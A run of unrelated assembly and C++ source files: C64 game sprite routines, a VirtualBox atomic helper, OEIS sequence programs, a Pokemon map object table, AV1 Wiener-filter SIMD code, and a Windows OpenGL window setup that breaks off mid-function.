= info.base_addr + NV_SPRITE_VEL_Y_OFFSET // sprite extra data sprite_extra: nv_sprite_extra_data(info) LoadExtraPtrToRegs: lda #>info.base_addr ldx #<info.base_addr rts // subroutine to set sprites location in sprite registers based on the extra data SetLocationFromExtraData: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetLocationFromExtra rts //nv_sprite_set_location_from_memory_sr(info.num, info.base_addr+NV_SPRITE_X_OFFSET, info.base_addr+NV_SPRITE_Y_OFFSET) // setup sprite so that it ready to be enabled and displayed Setup: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetupFromExtra rts // move the sprite x and y location in the extra data only, not in the sprite registers // to move in the sprite registsers (and have screen reflect it) call the // SetLocationFromExtraData subroutine. MoveInExtraData: //lda #>info.base_addr //ldx #<info.base_addr //jsr NvSpriteMoveInExtra //rts nv_sprite_move_any_direction_sr(info) Enable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_enable_sr() Disable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_disable_sr() LoadEnabledToA: lda info.base_addr + NV_SPRITE_ENABLED_OFFSET rts SetBounceAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_BOUNCE) SetWrapAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_WRAP) } ////////////////////////////////////////////////////////////////////////////// // subroutine to load registers with a pointer to the sprite extra data // for the sprite number that is in the Y register // Input Params: // Y Reg: the sprite number who's extra pointer should be loaded // this must be a number from 0 to 7 // Output: // Accum: MSB of the extra pointer for the sprite // X Reg: LSB of the extra pointer for the sprite AstroSpriteExtraPtrToRegs: TrySprite0: cpy #$00 bne TrySprite1 IsSprite0: jsr ship_1.LoadExtraPtrToRegs jmp SpriteExtraPtrLoaded TrySprite1: cpy #$01 bne TrySprite2 IsSprite1: jsr asteroid_1.LoadExtraPtrToRegs jmp SpriteExtraPtrLoaded TrySprite2: cpy #$02 bne TrySprite3 IsSprite2: jsr asteroid_2.LoadExtraPtrToRegs jmp SpriteExtraPtrLoaded TrySprite3: cpy #$03 bne TrySprite4 IsSprite3: jsr asteroid_3.LoadExtraPtrToRegs jmp SpriteExtraPtrLoaded TrySprite4: cpy #$04 bne TrySprite5 IsSprite4: jsr asteroid_4.LoadExtraPtrToRegs jmp SpriteExtraPtrLoaded TrySprite5: cpy #$05 bne TrySprite6 IsSprite5: jsr asteroid_5.LoadExtraPtrToRegs jmp SpriteExtraPtrLoaded TrySprite6: cpy #$06 bne TrySprite7 IsSprite6: jsr blackhole.LoadExtraPtrToRegs jmp SpriteExtraPtrLoaded TrySprite7: cpy #$07 bne InvalidSpriteNumber IsSprite7: jsr ship_2.LoadExtraPtrToRegs jmp SpriteExtraPtrLoaded InvalidSpriteNumber: // if we get here then an unexptected sprite number was set // prior to calling this subroutine. nop SpriteExtraPtrLoaded: rts #import "astro_title_code.asm" // our sprite routines will goto this address //*=$6000 "Sprite Code" // put the actual sprite subroutines here //#import "../nv_c64_util/nv_screen_code.asm" //#import "../nv_c64_util/nv_sprite_raw_code.asm" /* ship_collision_label_str: .text @"ship collision sprite:\$00" DebugShipCollisionSprite: nv_debug_print_labeled_byte_mem(0, 0, ship_collision_label_str, 22, nv_b8, true, false) rts */ #import "astro_sound.asm"
; $Id: ASMAtomicUoAndU32.asm 69111 2017-10-17 14:26:02Z vboxsync $ ;; @file ; IPRT - ASMAtomicUoAndU32(). ; ; ; Copyright (C) 2013-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %include "iprt/asmdefs.mac" BEGINCODE ;; ; Atomically OR an unsigned 32-bit value, unordered. ; ; @param pu32 x86:esp+4 gcc:rdi msc:rcx ; @param u32Or x86:esp+8 gcc:rsi msc:rdx ; ; @returns void ; BEGINPROC_EXPORTED ASMAtomicUoAndU32 %ifdef RT_ARCH_AMD64 %ifdef ASM_CALL64_MSC and [rcx], edx %else and [rdi], esi %endif %elifdef RT_ARCH_X86 mov ecx, [esp + 04h] mov edx, [esp + 08h] and [ecx], edx %endif ret ENDPROC ASMAtomicUoAndU32
; A060453: Dot product of the squares and the quarter-squares: a(n) = sum(i=1..n, i^2 * floor(i^2/4)). ; 0,4,22,86,236,560,1148,2172,3792,6292,9922,15106,22204,31808,44408,60792,81600,107844,140334,180334,228844,287408,357236,440180,537680,651924,784602,938266,1114876,1317376,1548016,1810160,2106368,2440452 lpb $0 mov $2,$0 sub $0,1 seq $2,210379 ; Number of 2 X 2 matrices with all terms in {0,1,...,n} and odd trace. add $1,$2 lpe div $1,2 mov $0,$1
SilphCo10Object: db $2e ; border block db $6 ; warps db $0, $8, $0, SILPH_CO_9F db $0, $a, $0, SILPH_CO_11F db $0, $c, $0, SILPH_CO_ELEVATOR db $b, $9, $3, SILPH_CO_4F db $f, $d, $5, SILPH_CO_4F db $7, $d, $6, SILPH_CO_4F db $0 ; signs db $6 ; objects object SPRITE_ROCKET, $1, $9, STAY, RIGHT, $1, OPP_ROCKET, $27 object SPRITE_OAK_AIDE, $a, $2, STAY, LEFT, $2, OPP_SCIENTIST, $b object SPRITE_BRUNETTE_GIRL, $9, $f, WALK, $0, $3 ; person object SPRITE_BALL, $2, $c, STAY, NONE, $4, TM_26 object SPRITE_BALL, $4, $e, STAY, NONE, $5, RARE_CANDY object SPRITE_BALL, $5, $b, STAY, NONE, $6, CARBOS ; warp-to EVENT_DISP SILPH_CO_10F_WIDTH, $0, $8 ; SILPH_CO_9F EVENT_DISP SILPH_CO_10F_WIDTH, $0, $a ; SILPH_CO_11F EVENT_DISP SILPH_CO_10F_WIDTH, $0, $c ; SILPH_CO_ELEVATOR EVENT_DISP SILPH_CO_10F_WIDTH, $b, $9 ; SILPH_CO_4F EVENT_DISP SILPH_CO_10F_WIDTH, $f, $d ; SILPH_CO_4F EVENT_DISP SILPH_CO_10F_WIDTH, $7, $d ; SILPH_CO_4F
; A282627: Exponential expansion of the square of the real root y = y(x) of y^3 - 3*x*y - 1. ; Submitted by Jamie Morken(m1) ; 1,2,2,-4,0,80,-560,0,49280,-582400,0,117286400,-1947545600,0,701372672000,-14996101120000,0,8461359915008000,-221282468126720000,0,180057738991370240000,-5567466898068275200000,0,6171659061668206346240000,-220248990487580966912000000,0,319074773488246268100608000000,-12907471838534194984910848000000,0,23675348192827873093065113600000000,-1070545714288026132048505733120000000,0,2424923863302202073684101195366400000000,-121202903588833166566003625080913920000000,0 mov $1,1 mov $2,1 lpb $0 add $2,1 mul $1,$2 mov $2,$0 sub $0,1 add $3,2 sub $2,$3 lpe mov $0,$1
; A241496: Expansion of (1 + 4*x + x^2) / (1 - x^2)^3. ; 1,4,4,12,9,24,16,40,25,60,36,84,49,112,64,144,81,180,100,220,121,264,144,312,169,364,196,420,225,480,256,544,289,612,324,684,361,760,400,840,441,924,484,1012,529,1104,576,1200,625,1300,676,1404,729,1512 add $0,1 lpb $0,1 add $2,$0 add $$0,$$0 trn $0,2 lpe mov $1,$2
; Copyright (c) 2017-2021, The rav1e contributors ; Copyright (c) 2021, Nathan Egge ; All rights reserved. ; ; This source code is subject to the terms of the BSD 2 Clause License and ; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License ; was not distributed with this source code in the LICENSE file, you can ; obtain it at www.aomedia.org/license/software. If the Alliance for Open ; Media Patent License 1.0 was not distributed with this source code in the ; PATENTS file, you can obtain it at www.aomedia.org/license/patent. %include "config.asm" %include "ext/x86/x86inc.asm" %if ARCH_X86_64 SECTION_RODATA 32 wiener5_shufA: db 0, 1, 2, 3, 2, 3, 4, 5, 4, 5, 6, 7, 6, 7, 8, 9 wiener5_shufB: db 8, 9, 6, 7, 10, 11, 8, 9, 12, 13, 10, 11, 14, 15, 12, 13 wiener5_shufC: db 4, 5, -1, -1, 6, 7, -1, -1, 8, 9, -1, -1, 10, 11, -1, -1 wiener5_l_shuf: db 4, 5, 4, 5, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 pb_0to31: db 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 db 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31 wiener7_shufB: db 4, 5, 2, 3, 6, 7, 4, 5, 8, 9, 6, 7, 10, 11, 8, 9 wiener7_shufC: db 4, 5, 6, 7, 6, 7, 8, 9, 8, 9, 10, 11, 10, 11, 12, 13 wiener7_shufD: db 8, 9, -1, -1, 10, 11, -1, -1, 12, 13, -1, -1, 14, 15, -1, -1 rev_w: db 14, 15, 12, 13, 10, 11, 8, 9, 6, 7, 4, 5, 2, 3, 0, 1 rev_d: db 12, 13, 14, 15, 8, 9, 10, 11, 4, 5, 6, 7, 0, 1, 2, 3 wiener7_l_shuf: db 6, 7, 6, 7, 6, 7, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 db 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31 pq_3: dq (6 - 4) + 1 pq_5: dq (6 - 2) + 1 pd_65540: dd (1 << (8 + (6 - 4) + 6)) + (1 << (6 - 4)) pd_262160: dd (1 << (8 + (6 - 2) + 6)) + (1 << (6 - 2)) pq_11: dq 12 - (6 - 4) + 1 pq_9: dq 12 - (6 - 2) + 1 nd_1047552: dd (1 << (12 - (6 - 4))) - (1 << (12 + 8)) nd_1048320: dd (1 << (12 - (6 - 2))) - (1 << (12 + 8)) pb_wiener5_l: times 2 db 2, 3 pb_wiener5_r: times 2 db -6, -5 pb_wiener7_l: times 2 db 4, 5 pb_wiener7_m: times 2 db -4, -3 pb_wiener7_r: times 2 db -8, -7 SECTION .text INIT_YMM avx2 cglobal wiener_filter5_h_16bpc, 6, 9, 14, dst, left, src, ss, f, w, h, edge, bdmax movifnidn wd, wm movifnidn hd, hm movifnidn edgeb, edgem vbroadcasti128 m6, [wiener5_shufA] vpbroadcastd m12, [fq + 2] vbroadcasti128 m7, [wiener5_shufB] vpbroadcastw m13, [fq + 6] vbroadcasti128 m8, [wiener5_shufC] popcnt bdmaxd, bdmaxm vpbroadcastd m9, [pd_65540] movq xm10, [pq_3] cmp bdmaxd, 10 je .bits10 vpbroadcastd m9, [pd_262160] movq xm10, [pq_5] .bits10: pxor m11, m11 add wq, wq add srcq, wq add dstq, wq neg wq DEFINE_ARGS dst, left, src, ss, f, w, h, edge, x .v_loop: mov xq, wq test edgeb, 1 ; LR_HAVE_LEFT jz .h_extend_left test leftq, leftq jz .h_loop movd xm4, [leftq + 4] vpblendd m4, [srcq + xq - 4], 0xfe add leftq, 8 jmp .h_main .h_extend_left: vbroadcasti128 m5, [srcq + xq] mova m4, [srcq + xq] palignr m4, m5, 12 pshufb m4, [wiener5_l_shuf] jmp .h_main .h_loop: movu m4, [srcq + xq - 4] .h_main: movu m5, [srcq + xq + 4] test edgeb, 2 ; LR_HAVE_RIGHT jnz .h_have_right cmp xd, -18*2 jl .h_have_right movd xm2, xd vpbroadcastd m0, [pb_wiener5_l] vpbroadcastd m1, [pb_wiener5_r] vpbroadcastb m2, xm2 movu m3, [pb_0to31] psubb m0, m2 psubb m1, m2 pminub m0, m3 pminub m1, m3 pshufb m4, m0 pshufb m5, m1 .h_have_right: pshufb m0, m4, m6 pshufb m2, m4, m7 paddw m0, m2 pmaddwd m0, m12 pshufb m1, m5, m6 pshufb m3, m5, m7 paddw m1, m3 pmaddwd m1, m12 pshufb m4, m8 pmaddwd m4, m13 pshufb m5, m8 pmaddwd m5, m13 paddd m0, m4 paddd m1, m5 paddd m0, m9 paddd m1, m9 psrad m0, xm10 psrad m1, xm10 packssdw m0, m1 pmaxsw m0, m11 mova [dstq + xq], m0 add xq, 32 jl .h_loop add srcq, ssq add dstq, 384*2 dec hd jg .v_loop RET DECLARE_REG_TMP 8, 9, 10, 11, 12, 13, 14 INIT_YMM avx2 cglobal wiener_filter5_v_16bpc, 6, 13, 12, dst, ds, mid, f, w, h, edge, bdmax movifnidn wd, wm movifnidn hd, hm movifnidn edgeb, edgem pxor m6, m6 vpbroadcastd m7, [fq + 2] vpbroadcastd m8, [fq + 6] popcnt bdmaxd, bdmaxm vpbroadcastd m9, [nd_1047552] movq xm10, [pq_11] cmp bdmaxd, 10 je .bits10 vpbroadcastd m9, [nd_1048320] movq xm10, [pq_9] .bits10: vpbroadcastw m11, bdmaxm add wq, wq add midq, wq add dstq, wq neg wq DEFINE_ARGS dst, ds, mid, ms, w, h, edge, x mov msq, 2*384 mov t0, midq lea t1, [t0 + msq] lea t2, [t1 + msq] lea t3, [t2 + msq] lea t4, [t3 + msq] test edgeb, 4 ; LR_HAVE_TOP jnz .have_top mov t0, t2 mov t1, t2 .have_top: test edgeb, 8 ; LR_HAVE_BOTTOM jnz .v_loop cmp hd, 2 jg .v_loop cmp hd, 1 jne .limit_v mov t3, t2 .limit_v: mov t4, t3 .v_loop: mov xq, wq .h_loop: mova m1, [t0 + xq] mova m2, [t1 + xq] mova m3, [t2 + xq] mova m4, [t3 + xq] mova m5, [t4 + xq] punpcklwd m0, m1, m2 pmaddwd m0, m7 punpckhwd m1, m2 pmaddwd m1, m7 punpcklwd m2, m5, m4 pmaddwd m2, m7 punpckhwd m5, m4 pmaddwd m5, m7 paddd m0, m2 paddd m1, m5 punpcklwd m2, m3, m6 pmaddwd m2, m8 punpckhwd m3, m6 pmaddwd m3, m8 paddd m0, m2 paddd m1, m3 paddd m0, m9 paddd m1, m9 psrad m0, xm10 psrad m1, xm10 packusdw m0, m1 pminuw m0, m11 mova [dstq + xq], m0 add xq, 32 jl .h_loop add dstq, dsq mov t0, t1 mov t1, t2 mov t2, t3 mov t3, t4 add t4, msq test edgeb, 8 ; LR_HAVE_BOTTOM jnz .have_bottom cmp hd, 3 jg .have_bottom mov t4, t3 .have_bottom: dec hd jg .v_loop RET INIT_YMM avx2 cglobal wiener_filter7_h_16bpc, 6, 10, 16, dst, left, src, ss, f, w, h, edge, bdmax, rh movifnidn wd, wm movifnidn hd, hm movifnidn edgeb, edgem vpbroadcastd m7, [fq] vpbroadcastd m8, [fq + 4] vbroadcasti128 m10, [rev_w] vbroadcasti128 m11, [wiener5_shufA] vbroadcasti128 m12, [wiener7_shufB] vbroadcasti128 m13, [wiener7_shufC] vbroadcasti128 m14, [wiener7_shufD] vbroadcasti128 m15, [rev_d] popcnt bdmaxd, bdmaxm vpbroadcastd m9, [pd_65540] mov rhq, [pq_3] cmp bdmaxd, 10 je .bits10 vpbroadcastd m9, [pd_262160] mov rhq, [pq_5] .bits10: add wq, wq add srcq, wq add dstq, wq neg wq DEFINE_ARGS dst, left, src, ss, f, w, h, edge, x, rh .v_loop: mov xq, wq test edgeb, 1 ; LR_HAVE_LEFT jz .h_extend_left test leftq, leftq jz .h_loop movq xm4, [leftq + 2] vpblendw xm4, [srcq + xq - 6], 0xf8 vinserti128 m4, [srcq + xq + 10], 1 add leftq, 8 jmp .h_main .h_extend_left: vbroadcasti128 m5, [srcq + xq] mova m4, [srcq + xq] palignr m4, m5, 10 pshufb m4, [wiener7_l_shuf] jmp .h_main .h_loop: movu m4, [srcq + xq - 6] .h_main: movu m5, [srcq + xq + 2] movu m6, [srcq + xq + 6] test edgeb, 2 ; LR_HAVE_RIGHT jnz .h_have_right cmp xd, -19*2 jl .h_have_right movd xm3, xd vpbroadcastd m0, [pb_wiener7_l] vpbroadcastd m1, [pb_wiener7_m] vpbroadcastd m2, [pb_wiener7_r] vpbroadcastb m3, xm3 psubb m0, m3 psubb m1, m3 psubb m2, m3 movu m3, [pb_0to31] pminub m0, m3 pminub m1, m3 pminub m2, m3 pshufb m4, m0 pshufb m5, m1 pshufb m6, m2 cmp xd, -9*2 jne .hack vpbroadcastw xm3, [srcq + xq + 16] vinserti128 m5, xm3, 1 jmp .h_have_right .hack: cmp xd, -1*2 jne .h_have_right vpbroadcastw xm5, [srcq + xq] .h_have_right: pshufb m6, m10 pshufb m0, m4, m11 pshufb m2, m5, m12 paddw m0, m2 pmaddwd m0, m7 pshufb m2, m4, m13 pshufb m4, m14 paddw m2, m4 pmaddwd m2, m8 pshufb m1, m6, m11 pshufb m5, m11 pmaddwd m1, m7 pmaddwd m5, m7 pshufb m3, m6, m13 pshufb m6, m14 paddw m3, m6 pmaddwd m3, m8 paddd m0, m2 paddd m1, m3 pshufb m1, m15 paddd m1, m5 movq xm4, rhq pxor m5, m5 paddd m0, m9 paddd m1, m9 psrad m0, xm4 psrad m1, xm4 packssdw m0, m1 pmaxsw m0, m5 mova [dstq + xq], m0 add xq, 32 jl .h_loop add srcq, ssq add dstq, 384*2 dec hd jg .v_loop RET INIT_YMM avx2 cglobal wiener_filter7_v_16bpc, 6, 15, 13, dst, ds, mid, f, w, h, edge, bdmax movifnidn wd, wm movifnidn hd, hm movifnidn edgeb, edgem pxor m6, m6 vpbroadcastd m7, [fq] vpbroadcastw m8, [fq + 4] vpbroadcastd m9, [fq + 6] popcnt bdmaxd, bdmaxm vpbroadcastd m10, [nd_1047552] movq xm11, [pq_11] cmp bdmaxd, 10 je .bits10 vpbroadcastd m10, [nd_1048320] movq xm11, [pq_9] .bits10: vpbroadcastw m12, bdmaxm add wq, wq add midq, wq add dstq, wq neg wq DEFINE_ARGS dst, ds, mid, ms, w, h, edge, x mov msq, 2*384 mov t0, midq mov t1, t0 lea t2, [t1 + msq] lea t3, [t2 + msq] lea t4, [t3 + msq] lea t5, [t4 + msq] lea t6, [t5 + msq] test edgeb, 4 ; LR_HAVE_TOP jnz .have_top mov t0, t3 mov t1, t3 mov t2, t3 .have_top: cmp hd, 3 jg .v_loop test edgeb, 8 ; LR_HAVE_BOTTOM jz .no_bottom0 cmp hd, 1 jg .v_loop jmp .h3 .no_bottom0: cmp hd, 2 je .h2 jns .h3 .h1: mov t4, t3 .h2: mov t5, t4 .h3: mov t6, t5 .v_loop: mov xq, wq .h_loop: mova m1, [t0 + xq] mova m2, [t1 + xq] mova m3, [t5 + xq] mova m4, [t6 + xq] punpcklwd m0, m1, m2 pmaddwd m0, m7 punpckhwd m1, m2 pmaddwd m1, m7 punpcklwd m2, m4, m3 pmaddwd m2, m7 punpckhwd m4, m3 pmaddwd m4, m7 paddd m0, m2 paddd m1, m4 mova m3, [t2 + xq] mova m4, [t4 + xq] punpcklwd m2, m3, m4 pmaddwd m2, m8 punpckhwd m3, m4 pmaddwd m3, m8 paddd m0, m2 paddd m1, m3 mova m3, [t3 + xq] punpcklwd m2, m3, m6 pmaddwd m2, m9 punpckhwd m3, m6 pmaddwd m3, m9 paddd m0, m2 paddd m1, m3 paddd m0, m10 paddd m1, m10 psrad m0, xm11 psrad m1, xm11 packusdw m0, m1 pminuw m0, m12 mova [dstq + xq], m0 add xq, 32 jl .h_loop add dstq, dsq mov t0, t1 mov t1, t2 mov t2, t3 mov t3, t4 mov t4, t5 mov t5, t6 add t6, msq cmp hd, 4 jg .next_row test edgeb, 8 ; LR_HAVE_BOTTOM jz .no_bottom cmp hd, 2 jg .next_row .no_bottom: mov t6, t5 .next_row: dec hd jg .v_loop RET %endif ; ARCH_X86_64
; A255829: a(n) = n for n < 9; a(9n) = a(n); if every 9th term (a(9), a(18), a(27),...) is deleted, this gives back the original sequence. ; 1,2,3,4,5,6,7,8,1,1,1,1,1,1,1,1,1,2,1,2,1,2,1,2,1,2,3,1,2,3,1,2,3,1,2,4,3,1,2,4,3,1,2,4,5,3,1,2,4,5,3,1,2,6,4,5,3,1,2,6,4,5,7,3,1,2,6,4,5,7,3,8,1,2,6,4,5,7,3,8,1,1,2,6,4,5,7,3,8,1,1,1,2,6,4,5,7,3,1,8 lpb $0 add $0,1 lpb $0 dif $0,9 lpe cmp $2,0 mul $2,$0 lpb $2 sub $0,1 trn $2,9 lpe lpe add $0,1
#ifdef PLATFORM_WINDOWS #include <Boxer/App.h> #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #include <Windows.h> #include <Boxer/File.h> #include <Boxer/Timer.h> #include <Boxer/Graphics/Buffer.h> #include <Boxer/Graphics/Shader.h> // Some useful WGL constants // See https://www.opengl.org/registry/specs/ARB/wgl_create_context.txt for all values #define WGL_CONTEXT_MAJOR_VERSION_ARB 0x2091 #define WGL_CONTEXT_MINOR_VERSION_ARB 0x2092 #define WGL_CONTEXT_PROFILE_MASK_ARB 0x9126 #define WGL_CONTEXT_CORE_PROFILE_BIT_ARB 0x00000001 // See https://www.opengl.org/registry/specs/ARB/wgl_pixel_format.txt for all values #define WGL_DRAW_TO_WINDOW_ARB 0x2001 #define WGL_ACCELERATION_ARB 0x2003 #define WGL_SUPPORT_OPENGL_ARB 0x2010 #define WGL_DOUBLE_BUFFER_ARB 0x2011 #define WGL_PIXEL_TYPE_ARB 0x2013 #define WGL_COLOR_BITS_ARB 0x2014 #define WGL_DEPTH_BITS_ARB 0x2022 #define WGL_STENCIL_BITS_ARB 0x2023 #define WGL_FULL_ACCELERATION_ARB 0x2027 #define WGL_TYPE_RGBA_ARB 0x202B // Some useful WGL functions typedef BOOL(WINAPI PFNWGLSWAPINTERVALEXTPROC) (int interval); typedef HGLRC(WINAPI PFNWGLCREATECONTEXTATTRIBSARB)(HDC hDC, HGLRC hshareContext, const int* attribList); typedef BOOL(WINAPI PFNWGLCHOOSEPIXELFORMATARB)(HDC hdc, const int* piAttribIList, const FLOAT* pfAttribFList, UINT nMaxFormats, int* piFormats, UINT* nNumFormats); PFNWGLCREATECONTEXTATTRIBSARB* wglCreateContextAttribsARB; PFNWGLCHOOSEPIXELFORMATARB* wglChoosePixelFormatARB; PFNWGLSWAPINTERVALEXTPROC* wglSwapIntervalEXT; namespace boxer { // TODO(NeGate): Allow for multiple windows, this would require different // class identifiers for different windows. const wchar_t CLASS_NAME[] = L"BOXER_ENGINE"; struct Win32Handle { // NOTE(NeGate): Does this need to be here? // Its an application constant. GetModuleHandleW(0); HINSTANCE hInstance; HWND hWnd; HDC hDC; HGLRC hGL; }; LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); static void InitGLExt() { // Before we can load extensions, we need a dummy OpenGL context, created using a dummy window. // We use a dummy window because you can only set the pixel format for a window once. For the // real window, we want to use wglChoosePixelFormatARB (so we can potentially specify options // that aren't available in PIXELFORMATDESCRIPTOR), but we can't load and use that before we // have a context. WNDCLASSA window_class = { 0 }; window_class.style = CS_HREDRAW | CS_VREDRAW | CS_OWNDC; window_class.lpfnWndProc = DefWindowProcA; window_class.hInstance = GetModuleHandle(0); window_class.lpszClassName = "DummyWindowGL"; if (!RegisterClassA(&window_class)) { ASSERT(0, "Failed to register dummy OpenGL window."); } HWND dummy_window = CreateWindowExA( 0, window_class.lpszClassName, "Dummy OpenGL Window", 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, window_class.hInstance, 0); if (!dummy_window) { ASSERT(0, "Failed to create dummy OpenGL window."); } HDC dummy_dc = GetDC(dummy_window); PIXELFORMATDESCRIPTOR pfd = { 0 }; pfd.nSize = sizeof(pfd); pfd.nVersion = 1; pfd.iPixelType = PFD_TYPE_RGBA; pfd.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER; pfd.cColorBits = 32; pfd.cAlphaBits = 8; pfd.iLayerType = PFD_MAIN_PLANE; pfd.cDepthBits = 24; pfd.cStencilBits = 8; int pixel_format = ChoosePixelFormat(dummy_dc, &pfd); if (!pixel_format) { ASSERT(0, "Failed to find a suitable pixel format."); } if (!SetPixelFormat(dummy_dc, pixel_format, &pfd)) { ASSERT(0, "Failed to set the pixel format."); } HGLRC dummy_context = wglCreateContext(dummy_dc); if (!dummy_context) { ASSERT(0, "Failed to create a dummy OpenGL rendering context."); } if (!wglMakeCurrent(dummy_dc, dummy_context)) { ASSERT(0, "Failed to activate dummy OpenGL rendering context."); } wglCreateContextAttribsARB = (PFNWGLCREATECONTEXTATTRIBSARB*)wglGetProcAddress( "wglCreateContextAttribsARB"); wglChoosePixelFormatARB = (PFNWGLCHOOSEPIXELFORMATARB*)wglGetProcAddress( "wglChoosePixelFormatARB"); wglSwapIntervalEXT = (PFNWGLSWAPINTERVALEXTPROC*)wglGetProcAddress( "wglSwapIntervalEXT"); wglMakeCurrent(dummy_dc, 0); wglDeleteContext(dummy_context); ReleaseDC(dummy_window, dummy_dc); DestroyWindow(dummy_window); } Application::Application(String title, U32 width, U32 height) : _Title(title), _Width(width), _Height(height) { Win32Handle* win32 = new Win32Handle(); _Handle = win32; win32->hInstance = GetModuleHandleW(0); // Register the window class. WNDCLASSEXW wc = {}; wc.cbSize = sizeof(wc); wc.style = CS_HREDRAW | CS_VREDRAW | CS_OWNDC; wc.lpfnWndProc = (WNDPROC)WndProc; wc.hInstance = win32->hInstance; wc.lpszClassName = CLASS_NAME; wc.hCursor = NULL; if (RegisterClassExW(&wc) == 0) { // TODO(NeGate): We need a logging system ASSERT(false, "Win32: Failed to register window class."); } const DWORD style = WS_OVERLAPPEDWINDOW; const DWORD exStyle = WS_EX_APPWINDOW; // Get the size of the border. RECT borderRect = { 0, 0, 0, 0 }; AdjustWindowRectEx(&borderRect, style, false, exStyle); RECT rect; GetClientRect(GetDesktopWindow(), &rect); int X = (rect.right / 2) - (_Width / 2); int Y = (rect.bottom / 2) - (_Height / 2); int Width = _Width; int Height = _Height; // Border rectangle in this case is negative. X += borderRect.left; Y += borderRect.top; // Grow the window size by the OS border. This makes the client width/height correct. Width += borderRect.right - borderRect.left; Height += borderRect.bottom - borderRect.top; wchar_t titleStr[64]; title.Unicode(titleStr); // Create the window. win32->hWnd = CreateWindowExW( exStyle, CLASS_NAME, titleStr, style, X, Y, Width, Height, 0, 0, win32->hInstance, 0 ); if (win32->hWnd == NULL) { ASSERT(0, "Win32: Failed to create a window."); return; } SetWindowLongPtrW(win32->hWnd, GWLP_USERDATA, (LONG_PTR)this); ShowWindow(win32->hWnd, SW_SHOW); SetFocus(win32->hWnd); // This is how you initialize modern OpenGL because Windows... { win32->hDC = GetDC(win32->hWnd); InitGLExt(); int pixel_format_attribs[] = { WGL_DRAW_TO_WINDOW_ARB, GL_TRUE, WGL_SUPPORT_OPENGL_ARB, GL_TRUE, WGL_DOUBLE_BUFFER_ARB, GL_TRUE, WGL_ACCELERATION_ARB, WGL_FULL_ACCELERATION_ARB, WGL_PIXEL_TYPE_ARB, WGL_TYPE_RGBA_ARB, WGL_COLOR_BITS_ARB, 32, WGL_DEPTH_BITS_ARB, 24, WGL_STENCIL_BITS_ARB, 8, 0 }; int pixel_format; UINT num_formats; wglChoosePixelFormatARB(win32->hDC, pixel_format_attribs, 0, 1, &pixel_format, &num_formats); if (!num_formats) { ASSERT(0, "Failed to set the OpenGL pixel format."); } PIXELFORMATDESCRIPTOR pfd; DescribePixelFormat(win32->hDC, pixel_format, sizeof(pfd), &pfd); if (!SetPixelFormat(win32->hDC, pixel_format, &pfd)) { ASSERT(0, "Failed to set OpenGL pixel format."); } int gl33_attribs[] = { WGL_CONTEXT_MAJOR_VERSION_ARB, 3, WGL_CONTEXT_MINOR_VERSION_ARB, 3, WGL_CONTEXT_PROFILE_MASK_ARB, WGL_CONTEXT_CORE_PROFILE_BIT_ARB, 0, }; win32->hGL = wglCreateContextAttribsARB(win32->hDC, 0, gl33_attribs); if (!win32->hGL) { ASSERT(0, "Failed to create OpenGL context."); } if (!wglMakeCurrent(win32->hDC, win32->hGL)) { ASSERT(0, "Failed to activate OpenGL context."); } } GLenum err = glewInit(); if (err != GLEW_OK) { const char* errorStr = (const char*)glewGetErrorString(err); ASSERT(0, "GLEW ERROR: %s", errorStr); } // wglSwapIntervalEXT is the function to enable/disable vsync wglSwapIntervalEXT(0); } void Application::Launch() { Win32Handle* win32 = reinterpret_cast<Win32Handle*>(_Handle); Timer::Initialize(); // No you wont run the game at more than 4 billion fps... U32 FPS = 0; F64 fpsTimer = 0.0; // You can change this. F64 maxFps = 300.0; F64 minFrametime = 1.0 / maxFps; F64 lastT, nowT, elapsedT; lastT = Timer::Now(); // Initialize GL GLCall(glClearColor(0.0f, 0.0f, 0.2f, 1.0f)); { GLCall(glDisable(GL_STENCIL_TEST)); GLCall(glDisable(GL_DEPTH_TEST)); GLCall(glEnable(GL_BLEND)); GLCall(glBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ONE)); Shader shader; shader.AddShader(FileBlock("assets/Standard.vert").Data, GL_VERTEX_SHADER); shader.AddShader(FileBlock("assets/Standard.frag").Data, GL_FRAGMENT_SHADER); shader.Compile(); GLuint VAO; GLCall(glGenVertexArrays(1, &VAO)); GLCall(glBindVertexArray(VAO)); GLCall(glEnableVertexAttribArray(0)); float data[] = { 0.0, 1.0, 0.0, 1.0, 0.0, 0.0, 1.0, 1.0, 0.0 }; Buffer vbo(GL_ARRAY_BUFFER); vbo.Bind(); vbo.Upload(data, sizeof(data), GL_STATIC_DRAW); GLCall(glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, sizeof(float) * 3, 0)); 